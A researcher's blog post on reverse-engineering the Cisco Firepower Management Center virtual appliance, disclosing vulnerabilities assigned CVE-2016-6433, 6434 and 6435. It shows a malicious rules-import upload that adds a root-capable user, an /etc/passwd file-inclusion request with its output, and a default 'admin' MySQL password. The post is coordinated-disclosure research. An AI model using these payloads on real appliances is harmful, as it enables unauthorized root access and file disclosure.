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Virtual Appliance Spelunking 2016-10-10 15:35

Hello again and welcome back. Today I want to talk about a Sunday I spent reversing the Cisco Firepower Management Console virtual appliance that resulted in multiple CVEs being issued. The tricks I will show have worked on four or five other virtual appliances from other vendors. Results from those are either pending disclosure or have already been reported by other researchers. Either way, this should be something you can easily recreate to find vulnerabilities.

Before I start, normally I am just barely satisfied or outright discouraged by the vendor's response. I want to commend the Cisco team for their rapid response and great communication. They didn't drag their feet nor attempt to prevaricate or downplay the findings (as the below issues all require some level of authenticated access to leverage). Cisco has issued three CVEs for the vulnerabilities we disclosed:

Everything is virtualized nowadays, including appliances. What is great is that most companies who develop appliances will allow trial copies of them to be released. Just Google 'Virtual appliance trial download' and you'll find plenty of targets. I did just that and came across a trial download for the Cisco Firepower Management Console.

(Cisco_Firepower_Management_Center_VMware-6.0.1-1213.tar.gz) = c93e8874bc114bee4ee519f2e361ada52d7fee5f

It contained the following files:

(Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.vmdk) = 20dbf629a1a550e994226692029fbe6d84f33484
(Cisco_Firepower_Management_Center_Virtual_VMware-ESXi-6.0.1-1213.mf) = 4d1f63d597aa9b10d0b79a070455367fa7bf5716
(Cisco_Firepower_Management_Center_Virtual_VMware-ESXi-6.0.1-1213.ovf) = 8a6de8b9433f9b72e1a6561793b21b771069aabe
(Cisco_Firepower_Management_Center_Virtual_VMware-VI-6.0.1-1213.mf) = 61789395ec52e6d0e1f59c9645fa2ea6acf2f719
(Cisco_Firepower_Management_Center_Virtual_VMware-VI-6.0.1-1213.ovf) = be3f21da5375b092be675c171840707785b98389

Once files are extracted from gzip tarball, I converted the vmdk into a raw file.

$ qemu-img convert -f vmdk -O raw Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.vmdk \
	Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw

Next, I review the partitions.

$ fdisk -l Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw

Disk Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw: 250 GiB, 268435456000 bytes, 524288000 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x423b7500

Device                                                                 Boot    Start       End   Sectors   Size Id Type
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw1 *        2048    194559    192512    94M 83 Linux
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw2        194560   2195455   2000896   977M 82 Linux swap / Solaris
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw3       2195456 524287999 522092544   249G  f W95 Ext'd (LBA)
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw5       2197504  10008575   7811072   3.7G 83 Linux
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw6      10008577  17820312   7811736   3.7G 83 Linux
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw7      17820314 524287999 506467686 241.5G 83 Linux

Now I will go through the file content of each Linux partition until I come across something interesting. Note that fdisk's output is in 512-byte blocks, but the loop offsets below are in bytes, i.e. blocks * 512.

$ umount /mnt/temp_mnt;mount -o ro,loop,offset=1048576 \
	Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw /mnt/temp_mnt/; \
	ls -la /mnt/temp_mnt/
total 9438
drwxrwxr-x  6 root root    1024 Mar 18 18:34 .
drwxr-xr-x 10 root root    4096 Sep  3 01:13 ..
drwxrwxr-x  2 root root    1024 Mar 18 18:32 boot
-rw-r--r--  1 root root     512 Mar 18 18:34 boot.0800
-rw-r--r--  1 root root 4308496 Mar 18 18:32 bzImage-3.10.53-sf.virtual-26
-rw-r--r--  1 root root  113162 Feb 22  2016 coffee.bmp
-rw-r--r--  1 root root     426 Feb 22  2016 coffee.dat
-rw-r--r--  1 root root   22466 Feb 22  2016 debian.bmp
-rw-r--r--  1 root root     423 Feb 22  2016 debian.dat
-rw-r--r--  1 root root   22560 Feb 22  2016 debian-de.bmp
-rw-r--r--  1 root root     426 Feb 22  2016 debian-de.dat
-rw-r--r--  1 root root   31628 Feb 22  2016 debianlilo.bmp
-rw-r--r--  1 root root     435 Feb 22  2016 debianlilo.dat
drwxrwxr-x  2 root root    1024 Mar 18 18:32 grub
-rw-r--r--  1 root root 2614888 Mar 18 18:33 initrd-3.10.53-sf.virtual-26
-rw-r--r--  1 root root   22578 Feb 22  2016 inside.bmp
-rw-r--r--  1 root root     432 Feb 22  2016 inside.dat
drwxrwxr-x  2 root root    1024 Mar 18 18:32 kernels
drwx------  2 root root   12288 Mar 18 18:31 lost+found
-rw-------  1 root root   82944 Mar 18 18:34 map
-rw-r--r--  1 root root    6878 Feb 22  2016 onlyblue.bmp
-rw-r--r--  1 root root     424 Feb 22  2016 onlyblue.dat
lrwxrwxrwx  1 root root      32 Mar 18 18:32 System.map -> System.map-3.10.53-sf.virtual-26
-rw-r--r--  1 root root 2372553 Mar 18 18:32 System.map-3.10.53-sf.virtual-26
-rw-r--r--  1 root root   33192 Feb 22  2016 tuxlogo.bmp
-rw-r--r--  1 root root     423 Feb 22  2016 tuxlogo.dat
$ umount /mnt/temp_mnt;mount -o ro,loop,offset=1125122048 \
	Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw /mnt/temp_mnt/; \
	ls -la /mnt/temp_mnt/
total 92
drwxr-xr-x 20 root root  4096 Mar 18 18:34 .
drwxr-xr-x 10 root root  4096 Sep  3 01:13 ..
drwxrwxr-x  2 root root  4096 Mar 18 18:33 bin
drwxr-xr-x  2 root root  4096 Mar 18 18:31 boot
drwxr-xr-x  2 root root  4096 Mar 18 18:31 dev
drwxrwxr-x 36 root root  4096 Mar 18 18:34 etc
-rw-r--r--  1 root root     0 Feb 22  2016 .firstboot
drwxr-xr-x  2 root root  4096 Oct  6  1997 home
drwxr-xr-x  5 root root  4096 Mar 18 18:33 lib
drwxrwxr-x  3 root root  4096 Mar 18 18:33 lib64
drwx------  2 root root 16384 Mar 18 18:31 lost+found
drwxr-xr-x  5 root root  4096 Mar 15  2002 mnt
drwxr-xr-x  2 root root  4096 Mar 18 18:34 opt
drwxr-xr-x  2 root root  4096 Mar 18 18:31 proc
-rw-r--r--  1 root root     0 Mar 18 18:33 .reconfigure
drwx------  2 root root  4096 Mar 18 18:34 root
drwxrwxr-x  2 root root  4096 Feb 22  2016 sbin
drwxr-xr-x  2 root root  4096 Mar 18 18:31 sys
drwxrwxrwt  2 root root  4096 Mar 18 18:34 tmp
drwxr-xr-x 19 root root  4096 Dec 14  2015 usr
drwxr-xr-x  2 root root  4096 Mar 18 18:31 var
drwxr-xr-x  2 root root  4096 Mar 18 18:31 Volume

So, partition 1 is /boot, and partition 5 looks like /. After browsing the filesystems a bit, I noticed the www user has a sudoers entry for the useradd binary.

$ grep useradd etc/sudoers
www     ALL = NOPASSWD: /usr/sbin/useradd

Additionally, I noticed that there is a group whose users can execute any command as root. By default, only the admin user can do so.

$ grep ldapgroup etc/sudoers
%ldapgroup ALL = (ALL) ALL
$ grep ldapgroup etc/group
ldapgroup::201:admin

The useradd binary from the appliance has the flag -g which allows you to specify which group to place a newly created user into. It also supports specifying the new user's password hash on the command line.

Usage: useradd [options] LOGIN

Options:
  -b, --base-dir BASE_DIR       base directory for the home directory of the
                                new account
  -c, --comment COMMENT         GECOS field of the new account
  -d, --home-dir HOME_DIR       home directory of the new account
  -D, --defaults                print or change default useradd configuration
  -e, --expiredate EXPIRE_DATE  expiration date of the new account
  -f, --inactive INACTIVE       password inactivity period of the new account
  -g, --gid GROUP               name or ID of the primary group of the new
                                account
[snip]
  -p, --password PASSWORD       encrypted password of the new account
[snip]
Therefore, if I could get the www user to run a specific command I could get root. Here is the command:

sudo useradd -g ldapgroup -p `openssl passwd -1 <password>` <username>

The management web application maintains ten separate security roles. Only two of those roles can update IDS signature rules. The two roles are: Administrator, and Intrusion Administrator. With the exception of the Administrator user, none of these groups afford the user shell access.

Oddly enough, the target appliance uses a shell script to do the IDS rule update. I tried the following:

POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1
[snip]
Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
[snip]
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="file"; filename="exploit.sh"
Content-Type: application/octet-stream

sudo useradd -g ldapgroup -p `openssl passwd -1 korelogic` korelogic
[snip]

HTTP/1.1 200 OK
Date: Fri, 30 Sep 2016 21:43:14 GMT
Server: Apache
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 49996
Connection: close
Content-Type: text/html; charset=utf-8

[snip]

Everything in the application looked like it had worked out successfully. So, I tried to ssh.

$ ssh korelogic@1.3.3.7
Password:
Last login: Sat Oct  1 02:21:00 2016 from 1.3.3.7

Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.
Cisco is a registered trademark of Cisco Systems, Inc.
All other trademarks are property of their respective owners.

Cisco Fire Linux OS v6.0.1 (build 37)
Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)

Could not chdir to home directory /Volume/home/korelogic: No such file or directory
korelogic@firepower:/$ sudo su -
Password:
root@firepower:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

A full exploit can be found here.

This was issued CVE-2016-6433.

I also found a few other noteworthy things during the time I spent playing with the target appliance. There is a report function that contains a local file inclusion vulnerability.

GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
Connection: close

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2016 23:58:41 GMT
Server: Apache
Content-Disposition: attachment; filename=passwd
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/octet-stream
Content-Length: 623

root:x:0:0:Operator:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
mysql:x:27:27:MySQL:/var/lib/mysql:/sbin/nologin
nobody:x:99:99:nobody:/:/sbin/nologin
sshd:x:33:33:sshd:/:/sbin/nologin
www:x:67:67:HTTP server:/var/www:/sbin/nologin
sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin
snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin
sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin
sfremediation:x:103:103::/Volume/home/remediations:/sbin/nologin
admin:x:100:100::/Volume/home/admin:/bin/sh
casuser:x:101:104:CiscoUser:/var/opt/CSCOpx:/bin/bash

This was issued CVE-2016-6435.

The root acount of a local MySQL database where most everything resides is protected with the password "admin".

root@firepower:/Volume/6.0.1# mysql -u root --password=admin
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 23348
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Sourcefire         |
| external_data      |
| external_schema    |
| mysql              |
| performance_schema |
| sfsnort            |
+--------------------+
7 rows in set (0.00 sec)

mysql>

This listener is not externally exposed, but still using a static password of 'admin' is not a great idea.

This was issued CVE-2016-6434.

We also found a denial-of-service for the web application management interface. That's not as exciting though, I won't go into details on it here but information regarding it can be found on our advisory page.

That's all I have for now. Thanks for reading!


0 comments Posted by Matt at: 15:35 permalink

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